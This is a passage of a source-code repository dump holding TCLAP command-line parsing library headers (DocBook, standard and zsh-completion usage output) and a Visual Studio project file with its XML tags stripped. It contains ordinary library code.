e ); 70 | 71 | DocBookOutput() : theDelimiter('=') {} 72 | protected: 73 | 74 | /** 75 | * Substitutes the char r for string x in string s. 76 | * \param s - The string to operate on. 77 | * \param r - The char to replace. 78 | * \param x - What to replace r with. 79 | */ 80 | void substituteSpecialChars( std::string& s, char r, std::string& x ); 81 | void removeChar( std::string& s, char r); 82 | void basename( std::string& s ); 83 | 84 | void printShortArg(Arg* it); 85 | void printLongArg(Arg* it); 86 | 87 | char theDelimiter; 88 | }; 89 | 90 | 91 | inline void DocBookOutput::version(CmdLineInterface& _cmd) 92 | { 93 | std::cout << _cmd.getVersion() << std::endl; 94 | } 95 | 96 | inline void DocBookOutput::usage(CmdLineInterface& _cmd ) 97 | { 98 | std::list argList = _cmd.getArgList(); 99 | std::string progName = _cmd.getProgramName(); 100 | std::string xversion = _cmd.getVersion(); 101 | theDelimiter = _cmd.getDelimiter(); 102 | XorHandler xorHandler = _cmd.getXorHandler(); 103 | std::vector< std::vector > xorList = xorHandler.getXorList(); 104 | basename(progName); 105 | 106 | std::cout << "" << std::endl; 107 | std::cout << "" << std::endl << std::endl; 109 | 110 | std::cout << "" << std::endl; 111 | 112 | std::cout << "" << std::endl; 113 | std::cout << "" << progName << "" << std::endl; 114 | std::cout << "1" << std::endl; 115 | std::cout << "" << std::endl; 116 | 117 | std::cout << "" << std::endl; 118 | std::cout << "" << progName << "" << std::endl; 119 | std::cout << "" << _cmd.getMessage() << "" << std::endl; 120 | std::cout << "" << std::endl; 121 | 122 | std::cout << "" << std::endl; 123 | std::cout << "" << std::endl; 124 | 125 | std::cout << "" << progName << "" << std::endl; 126 | 127 | // xor 128 | for ( int i = 0; (unsigned int)i < xorList.size(); i++ ) 129 | { 130 | std::cout << "" << std::endl; 131 | for ( ArgVectorIterator it = xorList[i].begin(); 132 | it != xorList[i].end(); it++ ) 133 | printShortArg((*it)); 134 | 135 | std::cout << "" << std::endl; 136 | } 137 | 138 | // rest of args 139 | for (ArgListIterator it = argList.begin(); it != argList.end(); it++) 140 | if ( !xorHandler.contains( (*it) ) ) 141 | printShortArg((*it)); 142 | 143 | std::cout << "" << std::endl; 144 | std::cout << "" << std::endl; 145 | 146 | std::cout << "" << std::endl; 147 | std::cout << "Description" << std::endl; 148 | std::cout << "" << std::endl; 149 | std::cout << _cmd.getMessage() << std::endl; 150 | std::cout << "" << std::endl; 151 | std::cout << "" << std::endl; 152 | 153 | std::cout << "" << std::endl; 154 | std::cout << "Options" << std::endl; 155 | 156 | std::cout << "" << std::endl; 157 | 158 | for (ArgListIterator it = argList.begin(); it != argList.end(); it++) 159 | printLongArg((*it)); 160 | 161 | std::cout << "" << std::endl; 162 | std::cout << "" << std::endl; 163 | 164 | std::cout << "" << std::endl; 165 | std::cout << "Version" << std::endl; 166 | std::cout << "" << std::endl; 167 | std::cout << xversion << std::endl; 168 | std::cout << "" << std::endl; 169 | std::cout << "" << std::endl; 170 | 171 | std::cout << "" << std::endl; 172 | 173 | } 174 | 175 | inline void DocBookOutput::failure( CmdLineInterface& _cmd, 176 | ArgException& e ) 177 | { 178 | static_cast(_cmd); // unused 179 | std::cout << e.what() << std::endl; 180 | throw ExitException(1); 181 | } 182 | 183 | inline void DocBookOutput::substituteSpecialChars( std::string& s, 184 | char r, 185 | std::string& x ) 186 | { 187 | size_t p; 188 | while ( (p = s.find_first_of(r)) != std::string::npos ) 189 | { 190 | s.erase(p,1); 191 | s.insert(p,x); 192 | } 193 | } 194 | 195 | inline void DocBookOutput::removeChar( std::string& s, char r) 196 | { 197 | size_t p; 198 | while ( (p = s.find_first_of(r)) != std::string::npos ) 199 | { 200 | s.erase(p,1); 201 | } 202 | } 203 | 204 | inline void DocBookOutput::basename( std::string& s ) 205 | { 206 | size_t p = s.find_last_of('/'); 207 | if ( p != std::string::npos ) 208 | { 209 | s.erase(0, p + 1); 210 | } 211 | } 212 | 213 | inline void DocBookOutput::printShortArg(Arg* a) 214 | { 215 | std::string lt = "<"; 216 | std::string gt = ">"; 217 | 218 | std::string id = a->shortID(); 219 | substituteSpecialChars(id,'<',lt); 220 | substituteSpecialChars(id,'>',gt); 221 | removeChar(id,'['); 222 | removeChar(id,']'); 223 | 224 | std::string choice = "opt"; 225 | if ( a->isRequired() ) 226 | choice = "plain"; 227 | 228 | std::cout << "acceptsMultipleValues() ) 230 | std::cout << " rep='repeat'"; 231 | 232 | 233 | std::cout << '>'; 234 | if ( !a->getFlag().empty() ) 235 | std::cout << a->flagStartChar() << a->getFlag(); 236 | else 237 | std::cout << a->nameStartString() << a->getName(); 238 | if ( a->isValueRequired() ) 239 | { 240 | std::string arg = a->shortID(); 241 | removeChar(arg,'['); 242 | removeChar(arg,']'); 243 | removeChar(arg,'<'); 244 | removeChar(arg,'>'); 245 | arg.erase(0, arg.find_last_of(theDelimiter) + 1); 246 | std::cout << theDelimiter; 247 | std::cout << "" << arg << ""; 248 | } 249 | std::cout << "" << std::endl; 250 | 251 | } 252 | 253 | inline void DocBookOutput::printLongArg(Arg* a) 254 | { 255 | std::string lt = "<"; 256 | std::string gt = ">"; 257 | 258 | std::string desc = a->getDescription(); 259 | substituteSpecialChars(desc,'<',lt); 260 | substituteSpecialChars(desc,'>',gt); 261 | 262 | std::cout << "" << std::endl; 263 | 264 | if ( !a->getFlag().empty() ) 265 | { 266 | std::cout << "" << std::endl; 267 | std::cout << "" << std::endl; 270 | std::cout << "" << std::endl; 271 | } 272 | 273 | std::cout << "" << std::endl; 274 | std::cout << "" << std::endl; 288 | std::cout << "" << std::endl; 289 | 290 | std::cout << "" << std::endl; 291 | std::cout << "" << std::endl; 292 | std::cout << desc << std::endl; 293 | std::cout << "" << std::endl; 294 | std::cout << "" << std::endl; 295 | 296 | std::cout << "" << std::endl; 297 | } 298 | 299 | } //namespace TCLAP 300 | #endif 301 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/StdOutput.h: -------------------------------------------------------------------------------- 1 | // -*- Mode: c++; c-basic-offset: 4; tab-width: 4; -*- 2 | 3 | /****************************************************************************** 4 | * 5 | * file: StdOutput.h 6 | * 7 | * Copyright (c) 2004, Michael E. Smoot 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | #ifndef TCLAP_STDCMDLINEOUTPUT_H 24 | #define TCLAP_STDCMDLINEOUTPUT_H 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #include "CmdLineInterface.h" 33 | #include "CmdLineOutput.h" 34 | #include "XorHandler.h" 35 | #include "Arg.h" 36 | 37 | namespace TCLAP { 38 | 39 | /** 40 | * A class that isolates any output from the CmdLine object so that it 41 | * may be easily modified. 42 | */ 43 | class StdOutput : public CmdLineOutput 44 | { 45 | 46 | public: 47 | 48 | /** 49 | * Prints the usage to stdout. Can be overridden to 50 | * produce alternative behavior. 51 | * \param c - The CmdLine object the output is generated for. 52 | */ 53 | virtual void usage(CmdLineInterface& c); 54 | 55 | /** 56 | * Prints the version to stdout. Can be overridden 57 | * to produce alternative behavior. 58 | * \param c - The CmdLine object the output is generated for. 59 | */ 60 | virtual void version(CmdLineInterface& c); 61 | 62 | /** 63 | * Prints (to stderr) an error message, short usage 64 | * Can be overridden to produce alternative behavior. 65 | * \param c - The CmdLine object the output is generated for. 66 | * \param e - The ArgException that caused the failure. 67 | */ 68 | virtual void failure(CmdLineInterface& c, 69 | ArgException& e ); 70 | 71 | protected: 72 | 73 | /** 74 | * Writes a brief usage message with short args. 75 | * \param c - The CmdLine object the output is generated for. 76 | * \param os - The stream to write the message to. 77 | */ 78 | void _shortUsage( CmdLineInterface& c, std::ostream& os ) const; 79 | 80 | /** 81 | * Writes a longer usage message with long and short args, 82 | * provides descriptions and prints message. 83 | * \param c - The CmdLine object the output is generated for. 84 | * \param os - The stream to write the message to. 85 | */ 86 | void _longUsage( CmdLineInterface& c, std::ostream& os ) const; 87 | 88 | /** 89 | * This function inserts line breaks and indents long strings 90 | * according the params input. It will only break lines at spaces, 91 | * commas and pipes. 92 | * \param os - The stream to be printed to. 93 | * \param s - The string to be printed. 94 | * \param maxWidth - The maxWidth allowed for the output line. 95 | * \param indentSpaces - The number of spaces to indent the first line. 96 | * \param secondLineOffset - The number of spaces to indent the second 97 | * and all subsequent lines in addition to indentSpaces. 98 | */ 99 | void spacePrint( std::ostream& os, 100 | const std::string& s, 101 | int maxWidth, 102 | int indentSpaces, 103 | int secondLineOffset ) const; 104 | 105 | }; 106 | 107 | 108 | inline void StdOutput::version(CmdLineInterface& _cmd) 109 | { 110 | std::string progName = _cmd.getProgramName(); 111 | std::string xversion = _cmd.getVersion(); 112 | 113 | std::cout << std::endl << progName << " version: " 114 | << xversion << std::endl << std::endl; 115 | } 116 | 117 | inline void StdOutput::usage(CmdLineInterface& _cmd ) 118 | { 119 | std::cout << std::endl << "USAGE: " << std::endl << std::endl; 120 | 121 | _shortUsage( _cmd, std::cout ); 122 | 123 | std::cout << std::endl << std::endl << "Where: " << std::endl << std::endl; 124 | 125 | _longUsage( _cmd, std::cout ); 126 | 127 | std::cout << std::endl; 128 | 129 | } 130 | 131 | inline void StdOutput::failure( CmdLineInterface& _cmd, 132 | ArgException& e ) 133 | { 134 | std::string progName = _cmd.getProgramName(); 135 | 136 | std::cerr << "PARSE ERROR: " << e.argId() << std::endl 137 | << " " << e.error() << std::endl << std::endl; 138 | 139 | if ( _cmd.hasHelpAndVersion() ) 140 | { 141 | std::cerr << "Brief USAGE: " << std::endl; 142 | 143 | _shortUsage( _cmd, std::cerr ); 144 | 145 | std::cerr << std::endl << "For complete USAGE and HELP type: " 146 | << std::endl << " " << progName << " " 147 | << Arg::nameStartString() << "help" 148 | << std::endl << std::endl; 149 | } 150 | else 151 | usage(_cmd); 152 | 153 | throw ExitException(1); 154 | } 155 | 156 | inline void 157 | StdOutput::_shortUsage( CmdLineInterface& _cmd, 158 | std::ostream& os ) const 159 | { 160 | std::list argList = _cmd.getArgList(); 161 | std::string progName = _cmd.getProgramName(); 162 | XorHandler xorHandler = _cmd.getXorHandler(); 163 | std::vector< std::vector > xorList = xorHandler.getXorList(); 164 | 165 | std::string s = progName + " "; 166 | 167 | // first the xor 168 | for ( int i = 0; static_cast(i) < xorList.size(); i++ ) 169 | { 170 | s += " {"; 171 | for ( ArgVectorIterator it = xorList[i].begin(); 172 | it != xorList[i].end(); it++ ) 173 | s += (*it)->shortID() + "|"; 174 | 175 | s[s.length()-1] = '}'; 176 | } 177 | 178 | // then the rest 179 | for (ArgListIterator it = argList.begin(); it != argList.end(); it++) 180 | if ( !xorHandler.contains( (*it) ) ) 181 | s += " " + (*it)->shortID(); 182 | 183 | // if the program name is too long, then adjust the second line offset 184 | int secondLineOffset = static_cast(progName.length()) + 2; 185 | if ( secondLineOffset > 75/2 ) 186 | secondLineOffset = static_cast(75/2); 187 | 188 | spacePrint( os, s, 75, 3, secondLineOffset ); 189 | } 190 | 191 | inline void 192 | StdOutput::_longUsage( CmdLineInterface& _cmd, 193 | std::ostream& os ) const 194 | { 195 | std::list argList = _cmd.getArgList(); 196 | std::string message = _cmd.getMessage(); 197 | XorHandler xorHandler = _cmd.getXorHandler(); 198 | std::vector< std::vector > xorList = xorHandler.getXorList(); 199 | 200 | // first the xor 201 | for ( int i = 0; static_cast(i) < xorList.size(); i++ ) 202 | { 203 | for ( ArgVectorIterator it = xorList[i].begin(); 204 | it != xorList[i].end(); 205 | it++ ) 206 | { 207 | spacePrint( os, (*it)->longID(), 75, 3, 3 ); 208 | spacePrint( os, (*it)->getDescription(), 75, 5, 0 ); 209 | 210 | if ( it+1 != xorList[i].end() ) 211 | spacePrint(os, "-- OR --", 75, 9, 0); 212 | } 213 | os << std::endl << std::endl; 214 | } 215 | 216 | // then the rest 217 | for (ArgListIterator it = argList.begin(); it != argList.end(); it++) 218 | if ( !xorHandler.contains( (*it) ) ) 219 | { 220 | spacePrint( os, (*it)->longID(), 75, 3, 3 ); 221 | spacePrint( os, (*it)->getDescription(), 75, 5, 0 ); 222 | os << std::endl; 223 | } 224 | 225 | os << std::endl; 226 | 227 | spacePrint( os, message, 75, 3, 0 ); 228 | } 229 | 230 | inline void StdOutput::spacePrint( std::ostream& os, 231 | const std::string& s, 232 | int maxWidth, 233 | int indentSpaces, 234 | int secondLineOffset ) const 235 | { 236 | int len = static_cast(s.length()); 237 | 238 | if ( (len + indentSpaces > maxWidth) && maxWidth > 0 ) 239 | { 240 | int allowedLen = maxWidth - indentSpaces; 241 | int start = 0; 242 | while ( start < len ) 243 | { 244 | // find the substring length 245 | // int stringLen = std::min( len - start, allowedLen ); 246 | // doing it this way to support a VisualC++ 2005 bug 247 | using namespace std; 248 | int stringLen = min( len - start, allowedLen ); 249 | 250 | // trim the length so it doesn't end in middle of a word 251 | if ( stringLen == allowedLen ) 252 | while ( stringLen >= 0 && 253 | s[stringLen+start] != ' ' && 254 | s[stringLen+start] != ',' && 255 | s[stringLen+start] != '|' ) 256 | stringLen--; 257 | 258 | // ok, the word is longer than the line, so just split 259 | // wherever the line ends 260 | if ( stringLen <= 0 ) 261 | stringLen = allowedLen; 262 | 263 | // check for newlines 264 | for ( int i = 0; i < stringLen; i++ ) 265 | if ( s[start+i] == '\n' ) 266 | stringLen = i+1; 267 | 268 | // print the indent 269 | for ( int i = 0; i < indentSpaces; i++ ) 270 | os << " "; 271 | 272 | if ( start == 0 ) 273 | { 274 | // handle second line offsets 275 | indentSpaces += secondLineOffset; 276 | 277 | // adjust allowed len 278 | allowedLen -= secondLineOffset; 279 | } 280 | 281 | os << s.substr(start,stringLen) << std::endl; 282 | 283 | // so we don't start a line with a space 284 | while ( s[stringLen+start] == ' ' && start < len ) 285 | start++; 286 | 287 | start += stringLen; 288 | } 289 | } 290 | else 291 | { 292 | for ( int i = 0; i < indentSpaces; i++ ) 293 | os << " "; 294 | os << s << std::endl; 295 | } 296 | } 297 | 298 | } //namespace TCLAP 299 | #endif 300 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/ZshCompletionOutput.h: -------------------------------------------------------------------------------- 1 | // -*- Mode: c++; c-basic-offset: 4; tab-width: 4; -*- 2 | 3 | /****************************************************************************** 4 | * 5 | * file: ZshCompletionOutput.h 6 | * 7 | * Copyright (c) 2006, Oliver Kiddle 8 | * Copyright (c) 2017 Google Inc. 9 | * All rights reserved. 10 | * 11 | * See the file COPYING in the top directory of this distribution for 12 | * more information. 13 | * 14 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 15 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 17 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 19 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 20 | * DEALINGS IN THE SOFTWARE. 21 | * 22 | *****************************************************************************/ 23 | 24 | #ifndef TCLAP_ZSHCOMPLETIONOUTPUT_H 25 | #define TCLAP_ZSHCOMPLETIONOUTPUT_H 26 | 27 | #ifdef HAVE_CONFIG_H 28 | #include 29 | #endif 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #include "CmdLineInterface.h" 38 | #include "CmdLineOutput.h" 39 | #include "XorHandler.h" 40 | #include "Arg.h" 41 | #include "sstream.h" 42 | 43 | namespace TCLAP { 44 | 45 | /** 46 | * A class that generates a Zsh completion function as output from the usage() 47 | * method for the given CmdLine and its Args. 48 | */ 49 | class ZshCompletionOutput : public CmdLineOutput 50 | { 51 | 52 | public: 53 | 54 | ZshCompletionOutput(); 55 | 56 | /** 57 | * Prints the usage to stdout. Can be overridden to 58 | * produce alternative behavior. 59 | * \param c - The CmdLine object the output is generated for. 60 | */ 61 | virtual void usage(CmdLineInterface& c); 62 | 63 | /** 64 | * Prints the version to stdout. Can be overridden 65 | * to produce alternative behavior. 66 | * \param c - The CmdLine object the output is generated for. 67 | */ 68 | virtual void version(CmdLineInterface& c); 69 | 70 | /** 71 | * Prints (to stderr) an error message, short usage 72 | * Can be overridden to produce alternative behavior. 73 | * \param c - The CmdLine object the output is generated for. 74 | * \param e - The ArgException that caused the failure. 75 | */ 76 | virtual void failure(CmdLineInterface& c, 77 | ArgException& e ); 78 | 79 | protected: 80 | 81 | void basename( std::string& s ); 82 | void quoteSpecialChars( std::string& s ); 83 | 84 | std::string getMutexList( CmdLineInterface& _cmd, Arg* a ); 85 | void printOption( Arg* it, std::string mutex ); 86 | void printArg( Arg* it ); 87 | 88 | std::map common; 89 | char theDelimiter; 90 | }; 91 | 92 | ZshCompletionOutput::ZshCompletionOutput() 93 | : common(std::map()), 94 | theDelimiter('=') 95 | { 96 | common["host"] = "_hosts"; 97 | common["hostname"] = "_hosts"; 98 | common["file"] = "_files"; 99 | common["filename"] = "_files"; 100 | common["user"] = "_users"; 101 | common["username"] = "_users"; 102 | common["directory"] = "_directories"; 103 | common["path"] = "_directories"; 104 | common["url"] = "_urls"; 105 | } 106 | 107 | inline void ZshCompletionOutput::version(CmdLineInterface& _cmd) 108 | { 109 | std::cout << _cmd.getVersion() << std::endl; 110 | } 111 | 112 | inline void ZshCompletionOutput::usage(CmdLineInterface& _cmd ) 113 | { 114 | std::list argList = _cmd.getArgList(); 115 | std::string progName = _cmd.getProgramName(); 116 | std::string xversion = _cmd.getVersion(); 117 | theDelimiter = _cmd.getDelimiter(); 118 | basename(progName); 119 | 120 | std::cout << "#compdef " << progName << std::endl << std::endl << 121 | "# " << progName << " version " << _cmd.getVersion() << std::endl << std::endl << 122 | "_arguments -s -S"; 123 | 124 | for (ArgListIterator it = argList.begin(); it != argList.end(); it++) 125 | { 126 | if ( (*it)->shortID().at(0) == '<' ) 127 | printArg((*it)); 128 | else if ( (*it)->getFlag() != "-" ) 129 | printOption((*it), getMutexList(_cmd, *it)); 130 | } 131 | 132 | std::cout << std::endl; 133 | } 134 | 135 | inline void ZshCompletionOutput::failure( CmdLineInterface& _cmd, 136 | ArgException& e ) 137 | { 138 | static_cast(_cmd); // unused 139 | std::cout << e.what() << std::endl; 140 | } 141 | 142 | inline void ZshCompletionOutput::quoteSpecialChars( std::string& s ) 143 | { 144 | size_t idx = s.find_last_of(':'); 145 | while ( idx != std::string::npos ) 146 | { 147 | s.insert(idx, 1, '\\'); 148 | idx = s.find_last_of(':', idx); 149 | } 150 | idx = s.find_last_of('\''); 151 | while ( idx != std::string::npos ) 152 | { 153 | s.insert(idx, "'\\'"); 154 | if (idx == 0) 155 | idx = std::string::npos; 156 | else 157 | idx = s.find_last_of('\'', --idx); 158 | } 159 | } 160 | 161 | inline void ZshCompletionOutput::basename( std::string& s ) 162 | { 163 | size_t p = s.find_last_of('/'); 164 | if ( p != std::string::npos ) 165 | { 166 | s.erase(0, p + 1); 167 | } 168 | } 169 | 170 | inline void ZshCompletionOutput::printArg(Arg* a) 171 | { 172 | static int count = 1; 173 | 174 | std::cout << " \\" << std::endl << " '"; 175 | if ( a->acceptsMultipleValues() ) 176 | std::cout << '*'; 177 | else 178 | std::cout << count++; 179 | std::cout << ':'; 180 | if ( !a->isRequired() ) 181 | std::cout << ':'; 182 | 183 | std::cout << a->getName() << ':'; 184 | std::map::iterator compArg = common.find(a->getName()); 185 | if ( compArg != common.end() ) 186 | { 187 | std::cout << compArg->second; 188 | } 189 | else 190 | { 191 | std::cout << "_guard \"^-*\" " << a->getName(); 192 | } 193 | std::cout << '\''; 194 | } 195 | 196 | inline void ZshCompletionOutput::printOption(Arg* a, std::string mutex) 197 | { 198 | std::string flag = a->flagStartChar() + a->getFlag(); 199 | std::string name = a->nameStartString() + a->getName(); 200 | std::string desc = a->getDescription(); 201 | 202 | // remove full stop and capitalization from description as 203 | // this is the convention for zsh function 204 | if (!desc.compare(0, 12, "(required) ")) 205 | { 206 | desc.erase(0, 12); 207 | } 208 | if (!desc.compare(0, 15, "(OR required) ")) 209 | { 210 | desc.erase(0, 15); 211 | } 212 | size_t len = desc.length(); 213 | if (len && desc.at(--len) == '.') 214 | { 215 | desc.erase(len); 216 | } 217 | if (len) 218 | { 219 | desc.replace(0, 1, 1, tolower(desc.at(0))); 220 | } 221 | 222 | std::cout << " \\" << std::endl << " '" << mutex; 223 | 224 | if ( a->getFlag().empty() ) 225 | { 226 | std::cout << name; 227 | } 228 | else 229 | { 230 | std::cout << "'{" << flag << ',' << name << "}'"; 231 | } 232 | if ( theDelimiter == '=' && a->isValueRequired() ) 233 | std::cout << "=-"; 234 | quoteSpecialChars(desc); 235 | std::cout << '[' << desc << ']'; 236 | 237 | if ( a->isValueRequired() ) 238 | { 239 | std::string arg = a->shortID(); 240 | // Example arg: "[-A ] ... " 241 | size_t pos = arg.rfind(" ... "); 242 | if (pos != std::string::npos) { 243 | arg.erase(pos); 244 | } 245 | 246 | arg.erase(0, arg.find_last_of(theDelimiter) + 1); 247 | if ( arg.at(arg.length()-1) == ']' ) 248 | arg.erase(arg.length()-1); 249 | if ( arg.at(arg.length()-1) == ']' ) 250 | { 251 | arg.erase(arg.length()-1); 252 | } 253 | if ( arg.at(0) == '<' ) 254 | { 255 | arg.erase(arg.length()-1); 256 | arg.erase(0, 1); 257 | } 258 | size_t p = arg.find('|'); 259 | if ( p != std::string::npos ) 260 | { 261 | do 262 | { 263 | arg.replace(p, 1, 1, ' '); 264 | } 265 | while ( (p = arg.find_first_of('|', p)) != std::string::npos ); 266 | quoteSpecialChars(arg); 267 | std::cout << ": :(" << arg << ')'; 268 | } 269 | else 270 | { 271 | std::cout << ':' << arg; 272 | std::map::iterator compArg = common.find(arg); 273 | if ( compArg != common.end() ) 274 | { 275 | std::cout << ':' << compArg->second; 276 | } 277 | } 278 | } 279 | 280 | std::cout << '\''; 281 | } 282 | 283 | inline std::string ZshCompletionOutput::getMutexList( CmdLineInterface& _cmd, Arg* a) 284 | { 285 | XorHandler xorHandler = _cmd.getXorHandler(); 286 | std::vector< std::vector > xorList = xorHandler.getXorList(); 287 | 288 | if (a->getName() == "help" || a->getName() == "version") 289 | { 290 | return "(-)"; 291 | } 292 | 293 | ostringstream list; 294 | if ( a->acceptsMultipleValues() ) 295 | { 296 | list << '*'; 297 | } 298 | 299 | for ( int i = 0; static_cast(i) < xorList.size(); i++ ) 300 | { 301 | for ( ArgVectorIterator it = xorList[i].begin(); 302 | it != xorList[i].end(); 303 | it++) 304 | if ( a == (*it) ) 305 | { 306 | list << '('; 307 | for ( ArgVectorIterator iu = xorList[i].begin(); 308 | iu != xorList[i].end(); 309 | iu++ ) 310 | { 311 | bool notCur = (*iu) != a; 312 | bool hasFlag = !(*iu)->getFlag().empty(); 313 | if ( iu != xorList[i].begin() && (notCur || hasFlag) ) 314 | list << ' '; 315 | if (hasFlag) 316 | list << (*iu)->flagStartChar() << (*iu)->getFlag() << ' '; 317 | if ( notCur || hasFlag ) 318 | list << (*iu)->nameStartString() << (*iu)->getName(); 319 | } 320 | list << ')'; 321 | return list.str(); 322 | } 323 | } 324 | 325 | // wasn't found in xor list 326 | if (!a->getFlag().empty()) { 327 | list << "(" << a->flagStartChar() << a->getFlag() << ' ' << 328 | a->nameStartString() << a->getName() << ')'; 329 | } 330 | 331 | return list.str(); 332 | } 333 | 334 | } //namespace TCLAP 335 | #endif 336 | -------------------------------------------------------------------------------- /RibeyeBone/RibeyeBone.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {CB89EC5C-FBDF-43F4-A923-639C6555F26C} 24 | Win32Proj 25 | RibeyeBone 26 | 10.0.18362.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v141 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v141 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v141 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v141 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | $(SolutionDir)\Releases 76 | $(Platform)\$(Configuration)\ 77 | 78 | 79 | true 80 | $(SolutionDir)\Releases 81 | $(Platform)\$(Configuration)\ 82 | 83 | 84 | false 85 | $(ProjectName)32 86 | $(SolutionDir)\Releases 87 | $(Platform)\$(Configuration)\ 88 | 89 | 90 | false 91 | $(ProjectName)64 92 | $(SolutionDir)\Releases 93 | $(Platform)\$(Configuration)\ 94 | 95 | 96 | 97 | NotUsing 98 | Level3 99 | Disabled 100 | false 101 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 102 | true 103 | pch.h 104 | MultiThreadedDebug 105 | ProgramDatabase 106 | false 107 | stdcpplatest 108 | 109 | 110 | Console 111 | true 112 | 113 | 114 | 115 | 116 | NotUsing 117 | Level3 118 | MaxSpeed 119 | true 120 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | pch.h 123 | MultiThreadedDebug 124 | true 125 | ProgramDatabase 126 | false 127 | stdcpplatest 128 | 129 | 130 | Console 131 | true 132 | 133 | 134 | 135 | 136 | NotUsing 137 | Level3 138 | MaxSpeed 139 | true 140 | true 141 | true 142 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 143 | true 144 | pch.h 145 | MultiThreaded 146 | false 147 | ProgramDatabase 148 | stdcpplatest 149 | 150 | 151 | Console 152 | true 153 | true 154 | true 155 | 156 | 157 | 158 | 159 | NotUsing 160 | Level3 161 | MaxSpeed 162 | true 163 | true 164 | true 165 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 166 | true 167 | pch.h 168 | MultiThreaded 169 | false 170 | ProgramDatabase 171 | stdcpplatest 172 | 173 | 174 | Console 175 | true 176 | true 177 | true 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/UnlabeledMultiArg.h: -------------------------------------------------------------------------------- 1 | 2 | /****************************************************************************** 3 | * 4 | * file: UnlabeledMultiArg.h 5 | * 6 | * Copyright (c) 2003, Michael E. Smoot. 7 | * All rights reserved. 8 | * 9 | * See the file COPYING in the top directory of this distribution for 10 | * more information. 11 | * 12 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 13 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 14 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 15 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 16 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 17 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 18 | * DEALINGS IN THE SOFTWARE. 19 | * 20 | *****************************************************************************/ 21 | 22 | 23 | #ifndef TCLAP_MULTIPLE_UNLABELED_ARGUMENT_H 24 | #define TCLAP_MULTIPLE_UNLABELED_ARGUMENT_H 25 | 26 | #include 27 | #include 28 | 29 | #include "MultiArg.h" 30 | #include "OptionalUnlabeledTracker.h" 31 | 32 | namespace TCLAP { 33 | 34 | /** 35 | * Just like a MultiArg, except that the arguments are unlabeled. Basically, 36 | * this Arg will slurp up everything that hasn't been matched to another 37 | * Arg. 38 | */ 39 | template 40 | class UnlabeledMultiArg : public MultiArg 41 | { 42 | 43 | // If compiler has two stage name lookup (as gcc >= 3.4 does) 44 | // this is required to prevent undef. symbols 45 | using MultiArg::_ignoreable; 46 | using MultiArg::_hasBlanks; 47 | using MultiArg::_extractValue; 48 | using MultiArg::_typeDesc; 49 | using MultiArg::_name; 50 | using MultiArg::_description; 51 | using MultiArg::_alreadySet; 52 | using MultiArg::toString; 53 | 54 | public: 55 | 56 | /** 57 | * Constructor. 58 | * \param name - The name of the Arg. Note that this is used for 59 | * identification, not as a long flag. 60 | * \param desc - A description of what the argument is for or 61 | * does. 62 | * \param req - Whether the argument is required on the command 63 | * line. 64 | * \param typeDesc - A short, human readable description of the 65 | * type that this object expects. This is used in the generation 66 | * of the USAGE statement. The goal is to be helpful to the end user 67 | * of the program. 68 | * \param ignoreable - Whether or not this argument can be ignored 69 | * using the "--" flag. 70 | * \param v - An optional visitor. You probably should not 71 | * use this unless you have a very good reason. 72 | */ 73 | UnlabeledMultiArg( const std::string& name, 74 | const std::string& desc, 75 | bool req, 76 | const std::string& typeDesc, 77 | bool ignoreable = false, 78 | 